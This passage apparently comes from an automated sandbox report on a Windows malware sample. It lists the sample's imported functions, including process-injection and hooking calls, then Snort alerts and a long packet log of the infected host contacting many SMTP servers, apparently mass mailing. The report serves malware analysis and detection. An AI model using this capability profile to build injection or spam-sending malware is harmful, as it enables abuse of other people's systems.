xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xafc\xa7aa\x8888\x8888\x8088\xa7aa\xffff\xffff\x80ff\xa7aa\xffff\xffff\x80ff\xa7aa\xff	0x39f18	0xf000	data	English	United States
RT_ICON	0x34320	0x2e8	ISO-8859 text, with very long lines, with no line terminators	English	United States
RT_ICON	0x34608	0xffffff28	data	English	United States

Imports

DLL	Import
KERNEL32.dll	WriteProcessMemory, VirtualAllocEx, lstrlenA, OpenProcess, Process32Next, Process32First, CreateToolhelp32Snapshot, GetFileAttributesA, lstrcatA, GetSystemDirectoryA, lstrcmpiA, UnmapViewOfFile, GetFileSize, MapViewOfFile, CreateFileMappingA, FindClose, FindNextFileA, lstrcmpA, GetLastError, FindFirstFileA, lstrcpyA, SetFilePointer, ReadFile, GetTimeZoneInformation, GetModuleHandleA, LoadLibraryA, GetModuleFileNameA, GetCurrentDirectoryA, MoveFileExA, CopyFileA, GetOverlappedResult, LockResource, SizeofResource, LoadResource, FindResourceA, ResetEvent, GetVersionExA, HeapReAlloc, IsBadWritePtr, GetVolumeInformationA, DeviceIoControl, DefineDosDeviceA, QueryDosDeviceA, SetEndOfFile, GetProcAddress, CreateRemoteThread, GetCurrentProcess, CreateMutexA, ReleaseMutex, GetProcessHeap, HeapAlloc, Sleep, CloseHandle, GetTempPathA, GetTempFileNameA, WriteFile, CreateProcessA, DeleteFileA, HeapFree, GetLocalTime, CreateThread, CreateEventA, WaitForMultipleObjects, SetEvent, WaitForSingleObject, ExpandEnvironmentStringsA, CreateFileA, GetTickCount, ExitProcess, RtlUnwind, RaiseException, GetStartupInfoA, GetCommandLineA, QueryPerformanceCounter, GetCurrentThreadId, GetCurrentProcessId, GetSystemTimeAsFileTime, TlsAlloc, SetLastError, TlsFree, TlsSetValue, TlsGetValue, SetUnhandledExceptionFilter, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InterlockedExchange, VirtualQuery, HeapDestroy, HeapCreate, VirtualFree, VirtualAlloc, TerminateProcess, HeapSize, VirtualProtect, GetSystemInfo, LCMapStringA, WideCharToMultiByte, MultiByteToWideChar, LCMapStringW, GetStdHandle, UnhandledExceptionFilter, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetFileType, IsBadReadPtr, IsBadCodePtr, GetACP, GetOEMCP, GetCPInfo, InitializeCriticalSection, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, SetStdHandle, FlushFileBuffers
USER32.dll	wsprintfA, MessageBoxA, SetWindowsHookExA
ADVAPI32.dll	RegOpenKeyA, RegEnumKeyExA, InitializeSecurityDescriptor, GetTokenInformation, SetSecurityDescriptorOwner, SetSecurityDescriptorGroup, AllocateAndInitializeSid, GetLengthSid, AddAce, IsValidSecurityDescriptor, QueryServiceStatusEx, OpenSCManagerA, OpenServiceA, CloseServiceHandle, RegDeleteValueA, RegSetValueExA, RegOpenKeyExA, RegQueryValueExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/07/22-15:56:01.027423	TCP	567	POLICY SMTP relaying denied	25	49762	104.47.17.97	192.168.2.4
01/07/22-15:56:01.521149	TCP	567	POLICY SMTP relaying denied	25	49764	77.88.21.249	192.168.2.4
01/07/22-15:56:01.880127	TCP	567	POLICY SMTP relaying denied	25	49765	77.88.21.249	192.168.2.4
01/07/22-15:56:03.799353	TCP	567	POLICY SMTP relaying denied	25	49771	194.152.32.74	192.168.2.4
01/07/22-15:56:04.009120	TCP	567	POLICY SMTP relaying denied	25	49773	194.152.32.75	192.168.2.4
01/07/22-15:56:05.864379	TCP	567	POLICY SMTP relaying denied	25	49776	104.47.17.161	192.168.2.4
01/07/22-15:56:08.111569	TCP	567	POLICY SMTP relaying denied	25	49781	77.88.21.249	192.168.2.4
01/07/22-15:56:09.801787	TCP	567	POLICY SMTP relaying denied	25	49786	77.88.21.249	192.168.2.4
01/07/22-15:56:16.134226	TCP	567	POLICY SMTP relaying denied	25	49791	194.152.32.74	192.168.2.4
01/07/22-15:56:16.347477	TCP	567	POLICY SMTP relaying denied	25	49792	194.152.32.75	192.168.2.4
01/07/22-15:56:17.765741	TCP	567	POLICY SMTP relaying denied	25	49803	104.47.58.161	192.168.2.4
01/07/22-15:56:17.857032	TCP	567	POLICY SMTP relaying denied	25	49804	77.88.21.249	192.168.2.4
01/07/22-15:56:17.863928	TCP	567	POLICY SMTP relaying denied	25	49805	77.88.21.249	192.168.2.4
01/07/22-15:56:47.286645	TCP	567	POLICY SMTP relaying denied	25	49818	104.47.51.33	192.168.2.4
01/07/22-15:56:47.286720	TCP	567	POLICY SMTP relaying denied	25	49823	104.47.51.33	192.168.2.4
01/07/22-15:56:47.287591	TCP	567	POLICY SMTP relaying denied	25	49817	104.47.51.33	192.168.2.4
01/07/22-15:56:47.288040	TCP	567	POLICY SMTP relaying denied	25	49821	104.47.51.33	192.168.2.4
01/07/22-15:56:47.288077	TCP	567	POLICY SMTP relaying denied	25	49820	104.47.51.33	192.168.2.4
01/07/22-15:56:47.288873	TCP	567	POLICY SMTP relaying denied	25	49822	104.47.51.33	192.168.2.4
01/07/22-15:56:47.311126	TCP	567	POLICY SMTP relaying denied	25	49819	104.47.51.33	192.168.2.4
01/07/22-15:56:47.329851	TCP	567	POLICY SMTP relaying denied	25	49824	104.47.51.33	192.168.2.4
01/07/22-15:56:48.019411	TCP	567	POLICY SMTP relaying denied	25	49825	104.47.73.161	192.168.2.4
01/07/22-15:56:48.021054	TCP	567	POLICY SMTP relaying denied	25	49826	104.47.73.161	192.168.2.4
01/07/22-15:56:48.694507	TCP	567	POLICY SMTP relaying denied	25	49836	104.47.51.110	192.168.2.4
01/07/22-15:56:48.694538	TCP	567	POLICY SMTP relaying denied	25	49835	104.47.51.110	192.168.2.4
01/07/22-15:56:52.199593	TCP	567	POLICY SMTP relaying denied	25	49850	104.47.56.110	192.168.2.4
01/07/22-15:56:53.574678	TCP	567	POLICY SMTP relaying denied	25	49855	104.47.51.110	192.168.2.4
01/07/22-15:57:10.007113	TCP	567	POLICY SMTP relaying denied	25	49865	104.47.56.110	192.168.2.4
01/07/22-15:57:15.413308	TCP	567	POLICY SMTP relaying denied	25	49881	104.47.17.74	192.168.2.4
01/07/22-15:57:37.966423	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	64063	8.8.8.8	192.168.2.4
01/07/22-15:57:37.995446	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	60879	8.8.8.8	192.168.2.4
01/07/22-15:57:38.047394	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	55259	8.8.8.8	192.168.2.4
01/07/22-15:57:39.401527	TCP	567	POLICY SMTP relaying denied	25	49902	51.81.57.58	192.168.2.4
01/07/22-15:57:40.974314	TCP	567	POLICY SMTP relaying denied	25	49918	51.81.57.59	192.168.2.4
01/07/22-15:57:41.761249	TCP	567	POLICY SMTP relaying denied	25	49927	140.78.3.68	192.168.2.4
01/07/22-15:57:41.941205	TCP	567	POLICY SMTP relaying denied	25	49929	140.78.3.69	192.168.2.4
01/07/22-15:57:42.091244	TCP	567	POLICY SMTP relaying denied	25	49930	140.78.3.82	192.168.2.4
01/07/22-15:57:42.377005	TCP	567	POLICY SMTP relaying denied	25	49931	140.78.3.83	192.168.2.4
01/07/22-15:57:44.038278	TCP	567	POLICY SMTP relaying denied	25	49924	51.81.242.59	192.168.2.4
01/07/22-15:57:45.531204	TCP	567	POLICY SMTP relaying denied	25	49932	51.81.242.150	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2022 15:55:55.948137045 CET	49756	25	192.168.2.4	67.195.204.72
Jan 7, 2022 15:55:56.009654045 CET	49757	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:55:56.060417891 CET	25	49756	67.195.204.72	192.168.2.4
Jan 7, 2022 15:55:56.060677052 CET	49756	25	192.168.2.4	67.195.204.72
Jan 7, 2022 15:55:56.173206091 CET	25	49756	67.195.204.72	192.168.2.4
Jan 7, 2022 15:55:56.219130993 CET	49756	25	192.168.2.4	67.195.204.72
Jan 7, 2022 15:55:57.015419006 CET	49756	25	192.168.2.4	67.195.204.72
Jan 7, 2022 15:55:57.232542038 CET	49758	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:55:57.284758091 CET	25	49758	142.250.150.26	192.168.2.4
Jan 7, 2022 15:55:57.284858942 CET	49758	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:55:57.285017014 CET	49758	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:55:57.328418016 CET	49759	25	192.168.2.4	104.47.17.97
Jan 7, 2022 15:55:57.338059902 CET	25	49758	142.250.150.26	192.168.2.4
Jan 7, 2022 15:55:57.338140011 CET	49758	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:55:57.372149944 CET	25	49759	104.47.17.97	192.168.2.4
Jan 7, 2022 15:55:57.372234106 CET	49759	25	192.168.2.4	104.47.17.97
Jan 7, 2022 15:55:57.372371912 CET	49759	25	192.168.2.4	104.47.17.97
Jan 7, 2022 15:55:57.401396036 CET	49760	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:55:57.415967941 CET	25	49759	104.47.17.97	192.168.2.4
Jan 7, 2022 15:55:57.417010069 CET	25	49759	104.47.17.97	192.168.2.4
Jan 7, 2022 15:55:57.417094946 CET	25	49759	104.47.17.97	192.168.2.4
Jan 7, 2022 15:55:57.417098045 CET	49759	25	192.168.2.4	104.47.17.97
Jan 7, 2022 15:55:57.417136908 CET	49759	25	192.168.2.4	104.47.17.97
Jan 7, 2022 15:55:59.125580072 CET	49757	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:00.406626940 CET	49760	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:00.619626045 CET	49761	25	192.168.2.4	67.195.204.72
Jan 7, 2022 15:56:00.732484102 CET	25	49761	67.195.204.72	192.168.2.4
Jan 7, 2022 15:56:00.732626915 CET	49761	25	192.168.2.4	67.195.204.72
Jan 7, 2022 15:56:00.851593971 CET	49762	25	192.168.2.4	104.47.17.97
Jan 7, 2022 15:56:00.875108957 CET	25	49761	67.195.204.72	192.168.2.4
Jan 7, 2022 15:56:00.875288010 CET	49761	25	192.168.2.4	67.195.204.72
Jan 7, 2022 15:56:00.897116899 CET	25	49762	104.47.17.97	192.168.2.4
Jan 7, 2022 15:56:00.897241116 CET	49762	25	192.168.2.4	104.47.17.97
Jan 7, 2022 15:56:00.941044092 CET	25	49762	104.47.17.97	192.168.2.4
Jan 7, 2022 15:56:00.941298962 CET	49762	25	192.168.2.4	104.47.17.97
Jan 7, 2022 15:56:00.984925985 CET	25	49762	104.47.17.97	192.168.2.4
Jan 7, 2022 15:56:00.984954119 CET	25	49762	104.47.17.97	192.168.2.4
Jan 7, 2022 15:56:00.985511065 CET	49762	25	192.168.2.4	104.47.17.97
Jan 7, 2022 15:56:00.993144989 CET	25	49761	67.195.204.72	192.168.2.4
Jan 7, 2022 15:56:00.993182898 CET	25	49761	67.195.204.72	192.168.2.4
Jan 7, 2022 15:56:00.993411064 CET	49761	25	192.168.2.4	67.195.204.72
Jan 7, 2022 15:56:01.027390957 CET	25	49762	104.47.17.97	192.168.2.4
Jan 7, 2022 15:56:01.027422905 CET	25	49762	104.47.17.97	192.168.2.4
Jan 7, 2022 15:56:01.027890921 CET	49762	25	192.168.2.4	104.47.17.97
Jan 7, 2022 15:56:01.027928114 CET	49762	25	192.168.2.4	104.47.17.97
Jan 7, 2022 15:56:01.033032894 CET	25	49762	104.47.17.97	192.168.2.4
Jan 7, 2022 15:56:01.033147097 CET	49762	25	192.168.2.4	104.47.17.97
Jan 7, 2022 15:56:01.069016933 CET	25	49762	104.47.17.97	192.168.2.4
Jan 7, 2022 15:56:01.069050074 CET	25	49762	104.47.17.97	192.168.2.4
Jan 7, 2022 15:56:01.109184980 CET	25	49761	67.195.204.72	192.168.2.4
Jan 7, 2022 15:56:01.109195948 CET	25	49761	67.195.204.72	192.168.2.4
Jan 7, 2022 15:56:01.109582901 CET	49761	25	192.168.2.4	67.195.204.72
Jan 7, 2022 15:56:01.109627962 CET	49761	25	192.168.2.4	67.195.204.72
Jan 7, 2022 15:56:01.109643936 CET	49761	25	192.168.2.4	67.195.204.72
Jan 7, 2022 15:56:01.110119104 CET	49763	25	192.168.2.4	67.195.228.109
Jan 7, 2022 15:56:01.111201048 CET	49764	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.167217016 CET	25	49764	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:01.167356014 CET	49764	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.223287106 CET	25	49761	67.195.204.72	192.168.2.4
Jan 7, 2022 15:56:01.223315954 CET	25	49761	67.195.204.72	192.168.2.4
Jan 7, 2022 15:56:01.271531105 CET	25	49763	67.195.228.109	192.168.2.4
Jan 7, 2022 15:56:01.274348021 CET	49763	25	192.168.2.4	67.195.228.109
Jan 7, 2022 15:56:01.296457052 CET	49765	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.339690924 CET	25	49764	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:01.339934111 CET	49764	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.348567009 CET	25	49765	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:01.348802090 CET	49765	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.396619081 CET	25	49764	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:01.396652937 CET	25	49764	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:01.396980047 CET	49764	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.457175016 CET	25	49764	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:01.457350016 CET	49764	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.508352041 CET	25	49763	67.195.228.109	192.168.2.4
Jan 7, 2022 15:56:01.508651018 CET	49763	25	192.168.2.4	67.195.228.109
Jan 7, 2022 15:56:01.521148920 CET	25	49764	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:01.521332026 CET	49764	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.521361113 CET	49764	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.576864958 CET	25	49764	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:01.576903105 CET	25	49764	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:01.577052116 CET	49764	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.577099085 CET	49764	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.672353029 CET	25	49763	67.195.228.109	192.168.2.4
Jan 7, 2022 15:56:01.672384024 CET	25	49763	67.195.228.109	192.168.2.4
Jan 7, 2022 15:56:01.672394037 CET	25	49765	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:01.672595024 CET	49763	25	192.168.2.4	67.195.228.109
Jan 7, 2022 15:56:01.672704935 CET	49765	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.724761963 CET	25	49765	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:01.724900961 CET	25	49765	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:01.725095987 CET	49765	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.815320969 CET	25	49765	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:01.815493107 CET	49765	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.835314035 CET	25	49763	67.195.228.109	192.168.2.4
Jan 7, 2022 15:56:01.835341930 CET	25	49763	67.195.228.109	192.168.2.4
Jan 7, 2022 15:56:01.835422039 CET	49763	25	192.168.2.4	67.195.228.109
Jan 7, 2022 15:56:01.835467100 CET	49763	25	192.168.2.4	67.195.228.109
Jan 7, 2022 15:56:01.835491896 CET	49763	25	192.168.2.4	67.195.228.109
Jan 7, 2022 15:56:01.835913897 CET	49766	25	192.168.2.4	67.195.228.110
Jan 7, 2022 15:56:01.880126953 CET	25	49765	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:01.880423069 CET	49765	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.880526066 CET	49765	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.932599068 CET	25	49765	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:01.932632923 CET	25	49765	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:01.932733059 CET	49765	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.932771921 CET	49765	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:01.996676922 CET	25	49763	67.195.228.109	192.168.2.4
Jan 7, 2022 15:56:01.996704102 CET	25	49763	67.195.228.109	192.168.2.4
Jan 7, 2022 15:56:02.000268936 CET	25	49766	67.195.228.110	192.168.2.4
Jan 7, 2022 15:56:02.001362085 CET	49766	25	192.168.2.4	67.195.228.110
Jan 7, 2022 15:56:02.166557074 CET	25	49766	67.195.228.110	192.168.2.4
Jan 7, 2022 15:56:02.167992115 CET	49766	25	192.168.2.4	67.195.228.110
Jan 7, 2022 15:56:02.332417965 CET	25	49766	67.195.228.110	192.168.2.4
Jan 7, 2022 15:56:02.332448006 CET	25	49766	67.195.228.110	192.168.2.4
Jan 7, 2022 15:56:02.332796097 CET	49766	25	192.168.2.4	67.195.228.110
Jan 7, 2022 15:56:02.465161085 CET	49767	25	192.168.2.4	74.208.5.20
Jan 7, 2022 15:56:02.497934103 CET	25	49766	67.195.228.110	192.168.2.4
Jan 7, 2022 15:56:02.498210907 CET	25	49766	67.195.228.110	192.168.2.4
Jan 7, 2022 15:56:02.498353004 CET	49766	25	192.168.2.4	67.195.228.110
Jan 7, 2022 15:56:02.498385906 CET	49766	25	192.168.2.4	67.195.228.110
Jan 7, 2022 15:56:02.498399019 CET	49766	25	192.168.2.4	67.195.228.110
Jan 7, 2022 15:56:02.599042892 CET	25	49767	74.208.5.20	192.168.2.4
Jan 7, 2022 15:56:02.599220991 CET	49767	25	192.168.2.4	74.208.5.20
Jan 7, 2022 15:56:02.663259029 CET	25	49766	67.195.228.110	192.168.2.4
Jan 7, 2022 15:56:02.663284063 CET	25	49766	67.195.228.110	192.168.2.4
Jan 7, 2022 15:56:02.716356039 CET	49768	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:02.734713078 CET	25	49767	74.208.5.20	192.168.2.4
Jan 7, 2022 15:56:02.734745026 CET	25	49767	74.208.5.20	192.168.2.4
Jan 7, 2022 15:56:02.734915018 CET	49767	25	192.168.2.4	74.208.5.20
Jan 7, 2022 15:56:02.734993935 CET	49767	25	192.168.2.4	74.208.5.20
Jan 7, 2022 15:56:02.735553026 CET	49769	25	192.168.2.4	74.208.5.22
Jan 7, 2022 15:56:02.781270027 CET	25	49768	213.186.119.6	192.168.2.4
Jan 7, 2022 15:56:02.781363964 CET	49768	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:02.868196011 CET	25	49769	74.208.5.22	192.168.2.4
Jan 7, 2022 15:56:02.868366003 CET	49769	25	192.168.2.4	74.208.5.22
Jan 7, 2022 15:56:02.871829987 CET	25	49767	74.208.5.20	192.168.2.4
Jan 7, 2022 15:56:02.957503080 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.005004883 CET	25	49769	74.208.5.22	192.168.2.4
Jan 7, 2022 15:56:03.005033970 CET	25	49769	74.208.5.22	192.168.2.4
Jan 7, 2022 15:56:03.005109072 CET	49769	25	192.168.2.4	74.208.5.22
Jan 7, 2022 15:56:03.005167961 CET	49769	25	192.168.2.4	74.208.5.22
Jan 7, 2022 15:56:03.013289928 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.013479948 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.071408033 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.071537018 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.126566887 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.126597881 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.126718998 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.144757986 CET	25	49769	74.208.5.22	192.168.2.4
Jan 7, 2022 15:56:03.179501057 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.179642916 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.238380909 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.515963078 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.516242027 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.570125103 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.570157051 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.572691917 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.573256969 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.578278065 CET	49771	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:03.620183945 CET	25	49771	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:03.620294094 CET	49771	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:03.625649929 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.625675917 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.625684023 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.625695944 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.625706911 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.625785112 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.625869036 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.630709887 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.630822897 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.662408113 CET	25	49771	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:03.662580967 CET	49771	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:03.678281069 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678304911 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678313971 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678324938 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678337097 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678349018 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678360939 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678374052 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678385019 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678395987 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678409100 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678416967 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.678421021 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678433895 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678445101 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678455114 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678467035 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678478003 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678488970 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.678493023 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.678527117 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.678543091 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.678550959 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.678558111 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.683186054 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.683221102 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.683326006 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.683371067 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.704274893 CET	25	49771	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:03.714881897 CET	25	49771	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:03.715018034 CET	49771	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:03.725795031 CET	49772	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:03.730830908 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.730855942 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.730866909 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.730879068 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.730890036 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.730901003 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.730907917 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.730912924 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.730923891 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.730936050 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.730947018 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.730953932 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.730957031 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.730968952 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.730979919 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.730988979 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.730990887 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731018066 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.731044054 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731055975 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731057882 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.731069088 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731103897 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.731137991 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.731431961 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731491089 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.731622934 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731668949 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.731669903 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731683016 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731693983 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731705904 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731719017 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731729984 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731731892 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.731743097 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731755018 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731766939 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731772900 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.731776953 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731789112 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731801033 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.731815100 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.731854916 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.731875896 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.735703945 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.735724926 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.735737085 CET	25	49770	142.250.150.26	192.168.2.4
